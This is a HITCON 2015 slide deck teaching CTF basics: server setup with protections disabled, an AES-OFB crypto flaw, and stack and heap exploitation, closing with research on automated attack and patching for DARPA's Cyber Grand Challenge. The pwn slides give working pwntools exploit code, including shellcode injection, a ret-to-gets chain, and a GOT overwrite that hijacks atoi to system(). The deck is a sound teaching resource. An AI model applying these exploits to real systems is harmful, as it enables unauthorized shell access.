SlideShare a Scribd company logo
1 of 78
Download to read offline
CTF:	Hello,	World!
HITCON	2015	CTF	Conference
Dec	5.	– Dec	6.,	2015
1
黃世昆
交通大學
Shih-Kun	Huang
<skhuang@cs.nctu.edu.tw>
黃俊穎
海洋大學
Chun-Ying	Huang
<chuang@ntou.edu.tw>
How	Do	You	Feel?
2
If	You	Were	a	…
Programmer Hacker Robot
除錯
修補
清理
找錯
脅迫
操控
符號運算、機器學習
CRS: 自動推論系統
CTF CGC
3
Outline
• CTF	and	AIS3	Final	CTF
• CTF	Server	Setup
• Simple	Practices
• Crypto
• Pwn1
• Pwn3
• From	CTF	to	CGC
4
CTF
• Type	of	CTFs
• Jeopardy	– Any	type	of	problems
• Attack	and	Defense	– Pwn +	Patch
• King	of	the	Hill	– Pwn +	Patch
• AIS3	Final	CTF
• Jeopardy	style
• Misc,	Binary,	Pwn,	Web,	Crypto
5
CTF	Server	Setup
• Real	server	(Linux	x64)	+	QEMU
• Tricks	for	simple	CTF
• x86 or	x64
• Disable	stack	protector
• Allow	code	execution	in	stack
• Disable	ASLR
$ gcc -m32 -fno-stack-protector -z execstack 
hello.c -o hello
6
Simple	Buffer	Overflow
• Outdated	Implementation • Input	"A"	*	20
7
int func1(int a, int b, int c) {
char buffer[8]; // declare a character array of 8 bytes
gets(buffer); // read user input string
return 0; // return zero
}
buffer[8]
0x00000000
0xffffffff
EBP
ret-addr
a
Stack	grows	in	this	way
b
c
Last
Stack Frame Current	Stack	Frame
......
0x41414141
0x41414141
0x00000000
0xffffffff
0x41414141
0x41414141
0x41414141
Stack	grows	in	this	way
b
c
Last
Stack Frame
Current	Stack	Frame
......
Stack	Protector
• With	Stack	Protector • Input	"A"	*	20
8
buffer[8]
0x00000000
0xffffffff
EBP
ret-addr
a
Stack	grows	in	this	way
b
c
Last
Stack Frame
Current	Stack	Frame
......
Canary (?)
0x41414141
0x41414141
0x00000000
0xffffffff
0x41414141
0x41414141
a
Stack	grows	in	this	way
b
c
Last
Stack Frame
Current	Stack	Frame
......
0x41414141
Code	Execution	in	Stack
• Test	if	a	binary	enables	code	execution	in	stack
• Enable	code	execution	in	stack
(you	may	need	the	'execstack'	package)
9
$ execstack -c /path/to/myprog # disallow executable stack
$ execstack -q /path/to/myprog
- /path/to/myprog
$ execstack -s /path/to/myprog # allow executable stack
$ execstack -q /path/to/myprog
X /path/to/myprog
$ readelf –l /path/to/myprog.set | grep –i stack
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10
$ readelf –l /path/to/myprog.clear | grep –i stack
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10
ASLR
• Address	Spaces	Layout	Randomization
• Randomized	address	for	heap	and	stack
• Disable	ASLR
• Randomized	stack	spaces
• Randomized	heap	and	stack	spaces	(Ubuntu	default)
10
echo 0 > /proc/sys/kernel/randomize_va_space
echo 1 > /proc/sys/kernel/randomize_va_space
echo 2 > /proc/sys/kernel/randomize_va_space
ASLR	(Cont’d)
• Without	ASLR	(0) • With	ASLR	(1,	2)
11
$ ./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xffffd3ac
m = 0x804b008
$ ./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xffffd3ac
m = 0x804b008
$ ./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xffffd3ac
m = 0x804b008
./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xffdf6d8c
m = 0x9b03008
$ ./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xff86930c
m = 0x9b1e008
$ ./a.out
main = 0x80484cd
gets = 0x8048380
buf = 0xfff9b4bc
m = 0x88f3008
char buf[64];
printf("main = %pn", main);
printf("gets = %pn", gets);
printf(" buf = %pn", buf);
printf(" m = %pn", malloc(16));
Misc.	Issue	– xinetd
12
service gagb
{
disable = no
type = UNLISTED
id = gagb
socket_type = stream
protocol = tcp
user = gagb
group = gagb
wait = no
server = /home/gagb/gagb
port = 9192
}
Misc.	Issues	– Buffering	Mode
• stdin/stdoutbuffering	mode
• Line	buffered
• Fully	buffered
• No	buffered
13
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
Misc.	Issues	– Permissions	
• Disable	access	for	… • Firewall	setup
• Default	policy	is	DROP
• Only	allow	required	
incoming	ports
• Disallow	outgoing	
connections
14
chmod 751 /
chmod 751 /etc
chmod 750 /sbin
chmod 750 /usr/sbin
chmod 551 /proc
chmod 551 /dev
chmod 711 /home
chmod 1773 /tmp
...
cd $HOME
chown root:$OWNER . binary flag
chmod 550 . binary
chmod 440 flag
Simple	Practices
• A	simple	server	for	CTF:	Hello,	World!
• 1	crypto	and	2	pwns (flag	@	/home/*/flag)
• HITCON	CTF	Only:	Accessible	on	Dec	5.	and	Dec	6.
15
http://54.xxx.yyy.zzz/fun.html
PLEASE,	PLEASE,	PLEASE
DON’T	HACK	OUR	MACHINE	~>_<~
Some	Backgrounds
• Programming	in	the	UNIX	(Linux)	environment
• A	little	bit	x86	Assembly
• Python
• Pwntools
• Patience
16
Practice:	Crypto	– cry2
Host:	54.xxx.yyy.zzz Port:	5566
Hint:	the	source	code
Origin:	dada	@	nctu
17
cry2	– The	First	Impression
18
cry2	– The	Source	Code
19
1: key = "XXXXXXXXXXXXXXXX”
2: iv = ''.join(random.choice(string.hexdigits) for _ in range(16))
3: flag = "ais3{NEVERPHDNEVERPHDNEVERPHD..}" # Not real flag ...
4:
5: def encrypt(p):
6: return AES.new(key, AES.MODE_OFB, iv).encrypt(p)
...
7: print encrypt(flag).encode("hex")
8: while True:
...
9: p = ''.join(random.choice(string.lowercase) for _ in range(32))
10: print encrypt(p).encode("hex")
cry2	–Output	Feedback	(OFB)	
Mode
20
Block	Cipher	
Encryption	(AES)
Initial	Vector	(IV)
Ciphertext
Plaintext
Key
Block	Cipher	
Encryption	(AES)
Ciphertext
Plaintext
Key
Block	Cipher	
Encryption	(AES)
Ciphertext
Plaintext
Key
Block	Cipher	
Encryption	(AES)
Initial	Vector	(IV)
Ciphertext
Plaintext
Key
cry2	– Misuse	of	OFB	Mode
21
32-byte	strings	
of	lower	
alphabets	
Ciphertexts
output	from	
cry2
XOR-pad:	a
32-byte	string
cry2	– Solution:	Collecting	Ciphers		
22
9c5a8d2fb81dea8361493cc360865d7b7e8dcf342d8f17774af46a0332cc1e96
9c5f8668b630cbb1526f19ec5eba705d5db9ee1601a6395b78d3512713904091
89509274a62bc5b25e741bec55b86f5548b0fd0901a334587ed655390484449f
9057897db938cba5406b00e44ca9725d5dbee50410a9345177cf4c2a1884578e
9b409578a926dfba507801ef42aa755d4ab2fd110db533557fde4f2607944480
8e549973aa30d5b74d7915ec40b17e4b4cb2ed121aa228487dc35d21108d4780
924a947bbb32deb2437e1ef148b07b424cb1f21e1da73e4569c9422e1a8a5581
855c9877a03cc8b14b6b1cf945a6684f5cb4f5141db136556dc94d2112815d91
90459a64a73bcbb345760afe4cb26f5f4dabfc100da430436dcb5939138c4280
8a5f966ea537daa1407509e54fa4715756aef81b1fa7244b6cd5582610834a80
9a51957db920c4b6506315e453bd7e4a57a5ee1b18b330457ec1503a078f5b98
...
9b558a66b337dcb45d6d0fe457a5705752aaf4170fac345b62c74b3c1b874a9e
9b40966ba021dca3556b02fe50b068444ea9e81018b323447bc34a2900835699
9354946aa820c4b049631bfa5dab69434da6f0051aa73f4b66ce4b2715864784
This	is	what	we	really	want	to	decode
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
cry2	– Use	Pwntools
• Pwntools
• A	good	CTF	framework	implemented	in	python
• https://github.com/Gallopsled/pwntools
• Quick	Installation	Guide	(Ubuntu)
23
$ sudo apt-get install binutils python-dev python-pip
$ sudo pip install pwntools
cry2	– Enumerate	All	Ciphertexts
24
1: #!/usr/bin/env python
2: from pwn import *
3:
4: #r = remote('54.xxx.yyy.zzz', 5566)
5: r = process("./src.py")
6: ciphers = []
6:
7: while len(ciphers) < 100:
8: s = r.recvline().strip()
9: if len(s) == 64:
10: ciphers.append(s)
11: r.send('n')
cry2	– Pseudocodes to	Obtain	the	
XOR-Pad
25
Given c: The list containing n ciphertexts (except the first one)
c = [ c1, c2, c3, …, cn ]
Suppose cu,v represents the vth byte in ciphertext cu, 1 ≤ u ≤ n
pad = "";
for v = 1 to 32:
for x = 0 to 255:
if x XOR cu,v is a lowercase alphabet for all u in [1, n]
pad = pad + x
break
use pad to decrypt the real ciphertext and obtain the flag
cry2	– Security	Practice
• Correct	use	of	cipher	modes
• Must	be	initialized	with	different	IVs
26
Practice:	Pwn1	– gagb
Host:	54.xxx.yyy.zzz Port:	9192
Hint:	the	binary
Origin:	chun-ying
27
gagb – The	First	Impression
28
gagb – Let’s	Look	at	the	Binary	
(IDA	Pro)
29
gagb – Let’s	Look	at	the	Binary	
(IDA	Pro	– Pseudocode	View)
30
gagb – The	Problem
31
gagb – Solution
• Eh	…	We	have	to	guess	the	number	first!!
• Strategy	#1:	Play	with	the	game
• Pwntools:	recv,	send	…	try	all	possible	combinations
• Strategy	#2:	Use	the	random	number	trick
• Remember	we	have:	srand(time(0)) + rand()?
• In	python,	we	can	do:
32
1: from ctypes import *
2: cdll.LoadLibrary("libc.so.6")
3: libc = CDLL("libc.so.6")
4: libc.srand(libc.time(0))
5: print libc.rand();
gagb – A	Tricky	Solution
33
1: r = process("./gagb"); # this is from pwntools …
2: num = ""
3: while len(num) < 4:
4: while True:
5: d = chr(libc.rand() % 10 + 48)
6: if len(set(num + d)) == len(num + d):
7: num = num + d
8: break
9: print r.recv()
10: print num
11: r.send(num + 'n')
12: print r.recv()
• Use ntpdateto	synchronize	your	system	clock
• You	may	need	to	uncheck	"Hardware	Clock	in	UTC	Time"	if	you	are	playing	
with	VirtualBox or	other	virtual	machines	…
gagb – The	Overflow	Part:	
Strategy	#1
• The	old	tricks
• You	have	to	guess the	stack	address
• Fill	"A"*28	+	addr +	NOP*n	+	shellcode
34
context(arch = 'i386', os = 'linux')
...
shell = asm(shellcraft.sh())
r.send('A'*28 + p32(0xffffdd70) + "x90" * 400 + shell + "n")
r.interactive()
gagb – The	Overflow	Part:	
Strategy	#1	(Cont’d)
35
0x4141...41
0x00000000
0xffffffff
0x41414141
Jump to stack
Stack	grows	in	this	way
......
0x90909090
...
...
0x90909090
shellcode
s[24]
0x00000000
0xffffffff
EBP
ret-addr
Stack	grows	in	this	way
Last
Stack Frame
Current	Stack	Frame
......
gagb – The	Overflow	Part:	
Strategy	#2	(1/3)
• We	would	not	like	to	guess	any	more	L
• Ask	'gets()'	to	do	something	for	us
• Remember	that	'gets()'	requires	one	arguments	–
the	address	to	store	the	user	input	string
36
gagb – The	Overflow	Part:	
Strategy	#2	(2/3)
• We	want	the	stack	to	looks	like	…
37
s[24]
0x00000000
0xffffffff
EBP
addr of gets()
Stack	grows	in	this	way
......
ret-addr
argument #1
return	addr	after	gets()
address	for	gets()	to	fill
garbage
gagb – The	Overflow	Part:	
Strategy	#2	(3/3)
• gets@pltcan	be	obtained	using	objdump -d gagb
• After	gets()	finished,	the	program	jumps	to	the	
buffer	that	we	have	filled	the	shell	code
38
r.send('A'*28 + p32(0x08048430) # gets@plt
+ p32(0x0804a034) + p32(0x0804a034) # any writable address
+ p32(0x12345678) * 100 + "n") # garbage
r.send(shell + "n") # fill gets() buffer
r.interactive()
08048430 <gets@plt>:
8048430: ff 25 0c a0 04 08 jmp *0x804a00c ; in GOT table
8048436: 68 00 00 00 00 push $0x0
804843b: e9 e0 ff ff ff jmp 8048420 <gets@plt-0x10>
gagb – Security	Practice
• No	more	gets()
• Use	/dev/urandomor	/dev/random
• Or,	alternatively,	at	least	do
39
srand(time(0) ^ getpid());
Practice:	Pwn3	– phddb
Host:	54.xxx.yyy.zzz Port:	3333
Hint:	the	binary,	and	the	system	C	library
Origin:	angelboy @	ncu
40
phddb – The	First	Impression
41
phddb – Let’s	Look	at	the	Binary	
(Assembly)
42We	have	symbols
phddb – Let’s	Look	at	the	Binary	
(Pseudocode)
43
phddb – Feature	Summary
• Data	stored	in	heap – use	malloc()
• dump
• add
• Allocate	header first	(32	bytes)
• Allocate	thesis-text	according	to
the	given	length
• edit
• Modify	header	content
• Reallocate	thesis-text	if	necessary
• remove
44
thesis	text	...
thesis	text	...
......
0x00000000
0xffffffff
name[20]
age
length
*thesis
name[20]
age
length
*thesis
Record	#0Record	#1
phddb – The	Problem:	editphd()
45
realloc(ptr,	0)	==	free(ptr)	!?
phddb – Solution	(1/6)
46
1.	Add	two	records 2.	Edit	records	#0 3.	Add	one	more	record
thesis	text	...
thesis	text	...
......
0x00000000
0xffffffff
name (aaa)
age
length (32)
*thesis
name (bbb)
age
length (32)
*thesis
Record	#0Record	#1
thesis	text	...
freed
......
0x00000000
0xffffffff
name (aaa)
age
length (32)
*thesis
name (bbb)
age
length (32)
*thesis
Record	#0Record	#1
thesis	text	...
thesis	text	...
...
0x00000000
0xffffffff
name (aaa)
age
length (32)
*thesis
name (bbb)
age
length (32)
*thesis
Record	#0Record	#1
name (ccc)
age
length (32)
*thesis
Record	#2Record	#2
phddb – Solution	(2/6)
• We	want	to	know	the	real	address	of	atoi in	
memory
• We	can	then	know	the	C	library	base
• Real	address	of	atoi minus	atoi’s offset	in	C	library
• Use	objdump -d libc.so.6 to	get	atoi’s offset
• From	objdump -d phddb,	we	got
the	GOT	entry	address	for	atoi is	0x804b03c
47
08048560 <atoi@plt>:
8048560: ff 25 3c b0 04 08 jmp *0x804b03c
8048566: 68 60 00 00 00 push $0x60
804856b: e9 20 ff ff ff jmp 8048490 <_init+0x30>
phddb – Solution	(3/6)
• Edit	record	#0
• Fill	thesis	text	using:	
• "A"	*	24
• 0x20	(length)
• 0x804b03c
• GOT	entry	is	a	function	
pointer	to	the	real	
address	of	a	function	
(in	.so)
• Dump	record	#2
• Reveal	atoi(?)
48
atoi (?)
c99_scanf
......
GOT
0x804b03c
0x804b038
0x804b040
thesis	text	...
thesis	text	...
...
0x00000000
0xffffffff
name (aaa)
age
length (32)
*thesis
name (bbb)
age
length (32)
*thesis
Record	#0Record	#1
name (ccc)
age
length (32)
*thesis
Record	#2Record	#2
phddb – Solution	(4/6)
• The	atoi’s real	address	is	
right	after	the	third	colon	':'	
(0x3a)
• Note:	It’s	little	endian
49
6e 61 6d 65 3a 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 20 0a 61 67
65 3a 31 30 39 34 37 39 35 35 38
35 0a 74 68 65 73 69 73 3a 0a 60
95 e5 f7 0a 7c 2d 2d 2d 2d 2d 2d
2d 2d 2d 2d 50 48 44 64 62 20 4d
65 6e 75
phddb – Solution	(5/6)
• Recall	that	the	main	function	does	read()	+	atoi()
• We	can	replace	atoi’s GOT	entry	value	to	any	
functionwe	want	to	call
• Replace	atoi’s GOT	entry	value	with	the	real	
address	of	system(),	and	then	send	'shn'
• Simple	arithmetic
• atoi‘s real	address	=	0xf7e59560
• atoi offset	in	C	library	=	0x31560
• system	offset	in	C	library	=	0x3fcd0
• system’s	real	address=	0xf7e59560 – 0x31560 +	0x3fcd0
=	0xf7e67cd0
50
phddb – Solution	(6/6)
• Edit	record	#0
• Fill	thesis	text	using:	
• "A"	*	24
• 0x20	(length)
• 0xf7e67cd0
• read()	+	atoi()
now	becomes
read()	+	system()
• Send	'shn'
51
atoi (0xf7e59560)
c99_scanf
......
GOT
0x804b03c
0x804b038
0x804b040
thesis	text	...
thesis	text	...
...
0x00000000
0xffffffff
name (aaa)
age
length (32)
*thesis
name (bbb)
age
length (32)
*thesis
Record	#0Record	#1
name (ccc)
age
length (32)
*thesis
Record	#2Record	#2
system (0xf7e67cd0)
phddb – Security	Practice
• GOT	hijacking
• Never	use-after-free
• Special	case	of	realloc(ptr,	size)
52
From	CTF	to	CGC
從工人智慧搶旗
到
人工智慧自動攻防
53
Security	is	Bugs.
From	Linus	Torvalds
54
From	CTF	to	CGC
• The	Cyber	War
• Cyber	Army
• Capture	The	Flag	(CTF)
• Information	security	competition
• Cyber	Grand	Challenge	(CGC)
• All-computer	CTF	tournament
• Held	by	DARPA	of	US	DoD	with	the	DEFCON	Conference	in	Las	Vegas	in	2016
55
Objective
• Build	a	Cyber	Reasoning	System(CRS)
• Follow	CGC	rules
• Automatic	attack	and	defense
• Automatic	Attack
• Analyze	the	program	binary	to	find	the	failure
• Generate	exploit
• Payload	to	bypass	mitigation
• Automatic	Defense
• Analyze	the	program	to	find	the	fault
• Find	the	faulty	point
• Patch	the	fault	in	binary	level
56
Pre-Exploitation
Peri-Exploitation
End-Exploitation
Post-Exploitation
security	auditing	tools	(nessus,	metasploit,	sqlmap) developer	bug	forensic	tools
Software	Exploitation	Framework
CRS	Integration	for	CGC	- Attack
● Target-aware	Symbolic	Fuzzing
● Automatic	Exploit Generation	
● Anti-Mitigation	Payload	
Generation
● Post	Exploitation	Integration
Fuzzer
測、脅、隱、控
CRS	Integration	for	CGC	- Defense
● Fault	Localization	(path)
● Data	Slicing	(data)
● Patching	Site	Isolation
測、修、補、清
Automatic	Attack
60
Integration
● Automatic	Exploit Generation	
(CRAX)
● Post	Exploitation	Framework	
(Metasploit)
Integration	- CRAX
Integration	- CRAX	with	ROP
Result – Compare with ROPgadget
• ROPgadget:	Common	open	source	search	and	chain	gadgets	tool
Tool
Compare
Exploit	Strengthening ROPgadget
Gadget Type Long/Short	Gadgets	 Short	Gadgets
Payload	Type
Turing	complete	
ROP Payload	API	
One	type	payload
Integrate CRAX	+	Metasploit
Result – Compare with ROPgadget
• Payload	type:	exevc(“/bin/sh”)
Program
Name
Program
Size
Exploit Strengthening ROPgadget
Total
Gadgets
Time
Generate
Payload
Time
Generate
Payload
gdb 7.7.1 4.9M 133K 36.2s True 278s True
nautilus 3.10.1 1.4M 58K 13.9s True -- False
gpg 1.4.16 971K 25K 5.5s True 17.1s True
vim.tiny 7.4 806K 25K 5.0s True -- False
lshw b.02.16 755K 8K 2.4s True -- False
gcc 4.8 700K 4K 2.9s True 10.7s True
objdump 2.24 333K 8K 1.4s True -- False
readom 1.1.11 180K 4.9K 0.9s True -- False
curl 7.35.0 149K 2.9K 0.7s True -- False
factor 8.21 104K 2.3K 0.5s True -- False
Result– with Different Program Size
● Forty	programs	in	/usr/bin,	size	between	100KB	and	5MB.
Automatic	Defense
67
Method	- CRS	Architecture
68
Method	- Dstar	algorithm
• CF	:	Covered	&	Failed
• CS	:	Covered	&	Successful
• UF	:	Uncovered	&	Failed
• US	:	Uncovered	&	Successful
• Calculate	the	ranking	from	the	formula	:	
!"#
$"%!&
69
Method	- Dynamic	Slicing
• An	entire	program	tree	→	a	path
• We	need	more	information	for	patching
70
Method	- Dynamic	Slicing
71
Method	- Patching
• According	to	the	CGC	rule,	CRS	must	patch	the	binary	program	without	source	
code
• There	are	different	tricks	to	patch	different	faults
• We	must	analyze	the	type	of	fault	before	patching	it
• Our	CRS	is	targeted	at	stack-based	buffer	overflow
72
Evaluation
• 24 challenge binaries (CB) for testing
• The fault of types include :
• CWE-121: Stack-based Buffer Overflow
• CWE-122: Heap based Buffer Overflow
• CWE-787: Out-of-bounds Write
• CWE-476: NULL Pointer Dereference
• ….
• We choose the stack-based overflowCBs to evaluate our CRS.
73
Evaluation	- Summary
Challenge id Fault	type Method	1 Method	2
Availability Security Availability Security
CADET_00001 2 Success Success Success Success
CROMU_00007 3 Failed Success Failed Failed
KPRCA_00001 1 Failed Failed Success Success
LUNGE_00005 3 Failed Failed Success Success
NRFIN_00003 2 Success Success Failed Failed
74
Evaluation	- preliminary	Scored	Event
Challenge id Availability Security Both Total
CADET_00001 72 44 37 80
CROMU_00007 20 12 9 25
KPRCA_00001 126 121 116 139
LUNGE_00005 61 33 27 70
NRFIN_00003 58 24 9 79
75
Conclusions
• We	propose	an	automatic	binary	patch	method	for	
CGC	
• Fault	localization
• Binary	Patch
• Our	method	can	succeed	in	patching	five	challenge	
binaries	
• Only	fail	in	one	availability	test
• All	security	tests	pass
76
相關系統
• CRAX
• Automatic	Exploit	Generation	(Non-Web	攻擊生成)
• https://github.com/SQLab/CRAX
• CRAXWeb
• Web	Exploit	Generation (Web	攻擊生成)
• https://github.com/SQLab/CRAXWeb
• Ropchain (ROP bypassing	ASLR,	DEP	payload	生成)
• ROP	Payload	Generation
• https://github.com/SQLab/ropchain
• CRAXfuzz
• Symbolic	Fuzzing	Framework (符號形式之模糊測試)
• CRAXcrs
• Automatic	Defense	by	Fault	Localization	and	Dynamic	Patch	(錯誤定位與自動修補達成自動化
防禦)
77
Q	&	A
Thanks	for	your	attention!
78

More Related Content

What's hot

Playing 44CON CTF for fun and profit
Playing 44CON CTF for fun and profitPlaying 44CON CTF for fun and profit
Playing 44CON CTF for fun and profit44CON
 
System Hacking Tutorial #3 - Buffer Overflow - Egg Hunting
System Hacking Tutorial #3 - Buffer Overflow - Egg HuntingSystem Hacking Tutorial #3 - Buffer Overflow - Egg Hunting
System Hacking Tutorial #3 - Buffer Overflow - Egg Huntingsanghwan ahn
 
A Stealthy Stealers - Spyware Toolkit and What They Do
A Stealthy Stealers - Spyware Toolkit and What They DoA Stealthy Stealers - Spyware Toolkit and What They Do
A Stealthy Stealers - Spyware Toolkit and What They Dosanghwan ahn
 
台科逆向簡報
台科逆向簡報台科逆向簡報
台科逆向簡報耀德 蔡
 
[DSC] Introduction to Binary Exploitation
[DSC] Introduction to Binary Exploitation[DSC] Introduction to Binary Exploitation
[DSC] Introduction to Binary ExploitationFlorian Müller
 
Specializing the Data Path - Hooking into the Linux Network Stack
Specializing the Data Path - Hooking into the Linux Network StackSpecializing the Data Path - Hooking into the Linux Network Stack
Specializing the Data Path - Hooking into the Linux Network StackKernel TLV
 
Humantalk Angers 14 Mars
Humantalk Angers 14 MarsHumantalk Angers 14 Mars
Humantalk Angers 14 MarsRémi Dubois
 
Pwning in c++ (basic)
Pwning in c++ (basic)Pwning in c++ (basic)
Pwning in c++ (basic)Angel Boy
 
System Hacking Tutorial #2 - Buffer Overflow - Overwrite EIP
System Hacking Tutorial #2 - Buffer Overflow - Overwrite EIPSystem Hacking Tutorial #2 - Buffer Overflow - Overwrite EIP
System Hacking Tutorial #2 - Buffer Overflow - Overwrite EIPsanghwan ahn
 
Comparing On-The-Fly Accelerating Packages: Numba, TensorFlow, Dask, etc
Comparing On-The-Fly Accelerating Packages: Numba, TensorFlow, Dask, etcComparing On-The-Fly Accelerating Packages: Numba, TensorFlow, Dask, etc
Comparing On-The-Fly Accelerating Packages: Numba, TensorFlow, Dask, etcYukio Okuda
 
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...sanghwan ahn
 
Devirtualizing FinSpy
Devirtualizing FinSpyDevirtualizing FinSpy
Devirtualizing FinSpyjduart
 
04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)Alexandre Moneger
 
Radare2 @ ndh2k15 : First r2babies steps
Radare2 @ ndh2k15 : First r2babies stepsRadare2 @ ndh2k15 : First r2babies steps
Radare2 @ ndh2k15 : First r2babies stepsMaijin
 
SSL Failing, Sharing, and Scheduling
SSL Failing, Sharing, and SchedulingSSL Failing, Sharing, and Scheduling
SSL Failing, Sharing, and SchedulingDavid Evans
 
09 - ROP countermeasures, can we fix this?
09 - ROP countermeasures, can we fix this?09 - ROP countermeasures, can we fix this?
09 - ROP countermeasures, can we fix this?Alexandre Moneger
 

What's hot (20)

Playing 44CON CTF for fun and profit
Playing 44CON CTF for fun and profitPlaying 44CON CTF for fun and profit
Playing 44CON CTF for fun and profit
 
System Hacking Tutorial #3 - Buffer Overflow - Egg Hunting
System Hacking Tutorial #3 - Buffer Overflow - Egg HuntingSystem Hacking Tutorial #3 - Buffer Overflow - Egg Hunting
System Hacking Tutorial #3 - Buffer Overflow - Egg Hunting
 
A Stealthy Stealers - Spyware Toolkit and What They Do
A Stealthy Stealers - Spyware Toolkit and What They DoA Stealthy Stealers - Spyware Toolkit and What They Do
A Stealthy Stealers - Spyware Toolkit and What They Do
 
台科逆向簡報
台科逆向簡報台科逆向簡報
台科逆向簡報
 
[DSC] Introduction to Binary Exploitation
[DSC] Introduction to Binary Exploitation[DSC] Introduction to Binary Exploitation
[DSC] Introduction to Binary Exploitation
 
Specializing the Data Path - Hooking into the Linux Network Stack
Specializing the Data Path - Hooking into the Linux Network StackSpecializing the Data Path - Hooking into the Linux Network Stack
Specializing the Data Path - Hooking into the Linux Network Stack
 
Interpreter, Compiler, JIT from scratch
Interpreter, Compiler, JIT from scratchInterpreter, Compiler, JIT from scratch
Interpreter, Compiler, JIT from scratch
 
Humantalk Angers 14 Mars
Humantalk Angers 14 MarsHumantalk Angers 14 Mars
Humantalk Angers 14 Mars
 
Pwning in c++ (basic)
Pwning in c++ (basic)Pwning in c++ (basic)
Pwning in c++ (basic)
 
System Hacking Tutorial #2 - Buffer Overflow - Overwrite EIP
System Hacking Tutorial #2 - Buffer Overflow - Overwrite EIPSystem Hacking Tutorial #2 - Buffer Overflow - Overwrite EIP
System Hacking Tutorial #2 - Buffer Overflow - Overwrite EIP
 
Comparing On-The-Fly Accelerating Packages: Numba, TensorFlow, Dask, etc
Comparing On-The-Fly Accelerating Packages: Numba, TensorFlow, Dask, etcComparing On-The-Fly Accelerating Packages: Numba, TensorFlow, Dask, etc
Comparing On-The-Fly Accelerating Packages: Numba, TensorFlow, Dask, etc
 
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
System Hacking Tutorial #1 - Introduction to Vulnerability and Type of Vulner...
 
Devirtualizing FinSpy
Devirtualizing FinSpyDevirtualizing FinSpy
Devirtualizing FinSpy
 
Nmap5.cheatsheet.eng.v1
Nmap5.cheatsheet.eng.v1Nmap5.cheatsheet.eng.v1
Nmap5.cheatsheet.eng.v1
 
Streams for the Web
Streams for the WebStreams for the Web
Streams for the Web
 
04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)04 - I love my OS, he protects me (sometimes, in specific circumstances)
04 - I love my OS, he protects me (sometimes, in specific circumstances)
 
Virtual Machine Constructions for Dummies
Virtual Machine Constructions for DummiesVirtual Machine Constructions for Dummies
Virtual Machine Constructions for Dummies
 
Radare2 @ ndh2k15 : First r2babies steps
Radare2 @ ndh2k15 : First r2babies stepsRadare2 @ ndh2k15 : First r2babies steps
Radare2 @ ndh2k15 : First r2babies steps
 
SSL Failing, Sharing, and Scheduling
SSL Failing, Sharing, and SchedulingSSL Failing, Sharing, and Scheduling
SSL Failing, Sharing, and Scheduling
 
09 - ROP countermeasures, can we fix this?
09 - ROP countermeasures, can we fix this?09 - ROP countermeasures, can we fix this?
09 - ROP countermeasures, can we fix this?
 

Viewers also liked

What should a hacker know about WebDav?
What should a hacker know about WebDav?What should a hacker know about WebDav?
What should a hacker know about WebDav?Mikhail Egorov
 
ORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORMORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORMMikhail Egorov
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Mikhail Egorov
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionMikhail Egorov
 
2015 資安從業人員的寶(鬼)島求生
2015 資安從業人員的寶(鬼)島求生2015 資安從業人員的寶(鬼)島求生
2015 資安從業人員的寶(鬼)島求生Hacks in Taiwan (HITCON)
 
Hacker as a maker 如何利用 mtk 7688 設計出超炫的 ctf 決賽戰場燈控效果
Hacker as a maker 如何利用 mtk 7688 設計出超炫的 ctf 決賽戰場燈控效果Hacker as a maker 如何利用 mtk 7688 設計出超炫的 ctf 決賽戰場燈控效果
Hacker as a maker 如何利用 mtk 7688 設計出超炫的 ctf 決賽戰場燈控效果Hacks in Taiwan (HITCON)
 

Viewers also liked (11)

What should a hacker know about WebDav?
What should a hacker know about WebDav?What should a hacker know about WebDav?
What should a hacker know about WebDav?
 
ORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORMORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORM
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
 
HITCON GIRLS Malware Analysis
HITCON GIRLS Malware AnalysisHITCON GIRLS Malware Analysis
HITCON GIRLS Malware Analysis
 
CTF 經驗分享
CTF 經驗分享CTF 經驗分享
